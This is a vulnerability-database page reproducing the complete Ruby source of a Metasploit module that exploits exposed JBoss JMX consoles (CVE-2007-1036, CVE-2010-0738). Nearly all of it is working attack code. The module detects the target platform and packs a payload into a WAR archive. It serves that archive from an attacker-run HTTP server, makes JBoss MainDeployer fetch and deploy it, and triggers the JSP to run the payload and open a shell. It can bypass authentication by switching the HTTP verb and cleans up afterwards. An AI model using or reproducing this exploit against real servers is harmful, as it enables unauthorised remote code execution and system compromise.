Lucene search
K

JBoss JMX - Console Deployer Upload and Execute (Metasploit)

🗓️ 19 Oct 2010 00:00:00Reported by MetasploitType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 162 Views

JBoss JMX Console Deployer Upload and Execute module for executing payload on JBoss servers through "jmx-console" application by creating a temporary HTTP server to serve a WAR archive containing payload

Code
##
# $Id: jboss_maindeployer.rb 10754 2010-10-19 22:24:33Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	HttpFingerprint = { :pattern => [ /(Jetty|JBoss)/ ] }

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Remote::HttpServer
	include Msf::Exploit::EXE

	def initialize(info = {})
		super(update_info(info,
			'Name'        => 'JBoss JMX Console Deployer Upload and Execute',
			'Description' => %q{
					This module can be used to execute a payload on JBoss servers that have
				an exposed "jmx-console" application. The payload is put on the server by
				using the jboss.system:MainDeployer functionality. To accomplish this, a
				temporary HTTP server is created to serve a WAR archive containing our
				payload. This method will only work if the target server allows outbound
				connections to us.
			},
			'Author'      => [ 'jduck', 'Patrick Hof' ],
			'License'     => MSF_LICENSE,
			'Version'     => '$Revision: 10754 $',
			'References'  =>
				[
					[ 'CVE', '2007-1036' ],
					[ 'CVE', '2010-0738' ], # by using VERB other than GET/POST
					[ 'OSVDB', '33744' ],
					[ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ]
				],
			'Privileged'  => true,
			'Platform'    => [ 'win', 'linux' ],
			'Stance'      => Msf::Exploit::Stance::Aggressive,
			'Targets'     =>
				[
					#
					# detect via /manager/serverinfo
					#
					[ 'Automatic', { } ],

					#
					# Platform specific targets only
					#
					[ 'Windows Universal',
						{
							'Arch' => ARCH_X86,
							'Platform' => 'win'
						},
					],
					[ 'Linux Universal',
						{
							'Arch' => ARCH_X86,
							'Platform' => 'linux'
						},
					],

					#
					# Java version
					#
					[ 'Java Universal',
						{
							'Arch' => ARCH_JAVA,
							'Payload' =>
								{
									'DisableNops' => true
								}
						}
					]
				],
			'DefaultTarget'  => 0))

		register_options(
			[
				Opt::RPORT(8080),
				OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
				OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
				OptString.new('SHELL',		[ false, 'The system shell to use', 'automatic' ]),
				OptString.new('JSP',      [ false, 'JSP name to use without .jsp extension (default: random)', nil ]),
				OptString.new('APPBASE',  [ false, 'Application base name, (default: random)', nil ]),
				OptString.new('PATH',     [ true,  'The URI path of the console', '/jmx-console' ]),
				OptString.new('VERB',     [ true,  'The HTTP verb to use (for CVE-2010-0738)', 'POST' ]),
				OptString.new('WARHOST',  [ false, 'The host to request the WAR payload from' ]),
			], self.class)
	end


	def auto_target
		print_status("Attempting to automatically select a target...")

		if not (plat = detect_platform())
			raise RuntimeError, 'Unable to detect platform!'
		end

		# TODO: detection requires HTML parsing
		arch = ARCH_X86

		# see if we have a match
		targets.each { |t|
			if (t['Platform'] == plat) and (t['Arch'] == arch)
				return t
			end
		}

		# no matching target found
		return nil
	end


	def exploit
		datastore['BasicAuthUser'] = datastore['USERNAME']
		datastore['BasicAuthPass'] = datastore['PASSWORD']

		jsp_name = datastore['JSP'] || rand_text_alphanumeric(8+rand(8))
		app_base = datastore['APPBASE'] || rand_text_alphanumeric(8+rand(8))

		verb = 'GET'
		if (datastore['VERB'] != 'GET' and datastore['VERB'] != 'POST')
			verb = 'HEAD'
		end

		mytarget = target
		if (target.name =~ /Automatic/)
			mytarget = auto_target()
			if (not mytarget)
				raise RuntimeError, "Unable to automatically select a target"
			end
			print_status("Automatically selected target \"#{mytarget.name}\"")
		else
			print_status("Using manually select target \"#{mytarget.name}\"")
		end
		arch = mytarget.arch

		# Find out which shell if we're using a Java target
		if (mytarget.name =~ /Java/)
			if not (plat = detect_platform())
				raise RuntimeError, 'Unable to detect platform!'
			end

			case plat
			when 'linux'
				datastore['SHELL'] = '/bin/sh'
			when 'win'
				datastore['SHELL'] = 'cmd.exe'
			end

			print_status("SHELL set to #{datastore['SHELL']}")
		else
			# set arch/platform from the target
			plat = [Msf::Module::PlatformList.new(mytarget['Platform']).platforms[0]]
		end

		# We must regenerate the payload in case our auto-magic changed something.
		return if ((p = exploit_regenerate_payload(plat, arch)) == nil)

		# Generate the WAR containing the payload
		if (mytarget.name =~ /Java/)
			@war_data = Msf::Util::EXE.to_war(p.encoded,
				{
					:app_name => app_base,
					:jsp_name => jsp_name
				})
		else
			exe = generate_payload_exe(
				{
					:code => p.encoded,
					:arch => arch,
					:platform => plat
				})
			@war_data = Msf::Util::EXE.to_jsp_war(exe,
				{
					:app_name => app_base,
					:jsp_name => jsp_name
				})
		end


		#
		# UPLOAD
		#
		resource_uri = '/' + app_base + '.war'
		service_url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'] + resource_uri
		print_status("Starting up our web service on #{service_url} ...")
		start_service({'Uri' => {
				'Proc' => Proc.new { |cli, req|
					on_request_uri(cli, req)
				},
				'Path' => resource_uri
			}})

		if (datastore['WARHOST'])
			service_url = 'http://' + datastore['WARHOST'] + ':' + datastore['SRVPORT'] + resource_uri
		end

		print_status("Asking the JBoss server to deploy (via MainDeployer) #{service_url}")
		if (verb == "POST")
			res = send_request_cgi({
					'method'    => verb,
					'uri'       => datastore['PATH'] + '/HtmlAdaptor',
					'vars_post' =>
						{
							'action'      => 'invokeOpByName',
							'name'        => 'jboss.system:service=MainDeployer',
							'methodName'  => 'deploy',
							'argType'     => 'java.lang.String',
							'arg0'        => service_url
						}
				})
		else
			res = send_request_cgi({
					'method'    => verb,
					'uri'       => datastore['PATH'] + '/HtmlAdaptor',
					'vars_get' =>
						{
							'action'      => 'invokeOpByName',
							'name'        => 'jboss.system:service=MainDeployer',
							'methodName'  => 'deploy',
							'argType'     => 'java.lang.String',
							'arg0'        => service_url
						}
				})
		end
		if (! res)
			raise RuntimeError, "Unable to deploy WAR archive [No Response]"
		end
		if (res.code < 200 or res.code >= 300)
			case res.code
			when 401
				print_error("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
			end
			raise RuntimeError, "Upload to deploy WAR archive [#{res.code} #{res.message}]"
		end

		# wait for the data to be sent
		print_status("Waiting for the server to request the WAR archive....")
		waited = 0
		while (not @war_sent)
			select(nil, nil, nil, 1)
			waited += 1
			if (waited > 30)
				raise RuntimeError, 'Server did not request WAR archive -- Maybe it cant connect back to us?'
			end
		end

		print_status("Shutting down the web service...")
		stop_service


		#
		# EXECUTE
		#
		print_status("Executing #{app_base}...")

		# JBoss might need some time for the deployment. Try 5 times at most and
		# wait 3 seconds inbetween tries
		num_attempts = 5
		num_attempts.times { |attempt|
			res = send_request_cgi({
					'uri'     => '/' + app_base + '/' + jsp_name + '.jsp',
					'method'  => verb
				}, 20)

			msg = nil
			if (! res)
				msg = "Execution failed on #{app_base} [No Response]"
			elsif (res.code < 200 or res.code >= 300)
				msg = "Execution failed on #{app_base} [#{res.code} #{res.message}]"
			elsif (res.code == 200)
				print_good("Successfully triggered payload at '#{uri}'")
				break
			end

			if (attempt < num_attempts - 1)
				msg << ", retrying in 3 seconds..."
				print_error(msg)

				select(nil, nil, nil, 3)
			else
				print_error(msg)
			end
		}

		#
		# DELETE
		#
		# XXX: Does undeploy have an invokeByName?
		#
		print_status("Undeploying #{app_base} ...")
		res = send_request_cgi({
			'method'    => verb,
			'uri'       => datastore['PATH'] + '/HtmlAdaptor',
			'vars_post' =>
				{
					'action'      => 'invokeOpByName',
					'name'        => 'jboss.system:service=MainDeployer',
					'methodName'  => 'methodName=undeploy',
					'argType'     => 'java.lang.String',
					'arg0'        => app_base
				}
		}, 20)
		if (! res)
			print_error("WARNING: Undeployment failed on #{app_base} [No Response]")
		elsif (res.code < 200 or res.code >= 300)
			print_error("WARNING: Undeployment failed on #{app_base} [#{res.code} #{res.message}]")
		end

		handler
	end


	# Handle incoming requests from the server
	def on_request_uri(cli, request)

		#print_status("on_request_uri called: #{request.inspect}")
		if (not @war_data)
			print_error("A request came in, but the WAR archive wasn't ready yet!")
			return
		end

		print_status("Sending the WAR archive to the server...")
		send_response(cli, @war_data)
		@war_sent = true
	end


	# Try to autodetect the target platform
	def detect_platform()
		print_status("Attempting to automatically detect the platform...")

		path = datastore['PATH'] + '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo'
		res = send_request_raw(
			{
				'uri'    => path
			}, 20)

		if (not res) or (res.code != 200)
			print_error("Failed: Error requesting #{path}")
			return nil
		end

		if (res.body =~ /<td.*?OSName.*?(Linux|Windows).*?<\/td>/m)
			os = $1
			if (os =~ /Linux/i)
				return 'linux'
			elsif (os =~ /Windows/i)
				return 'win'
			end
		end
		nil
	end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation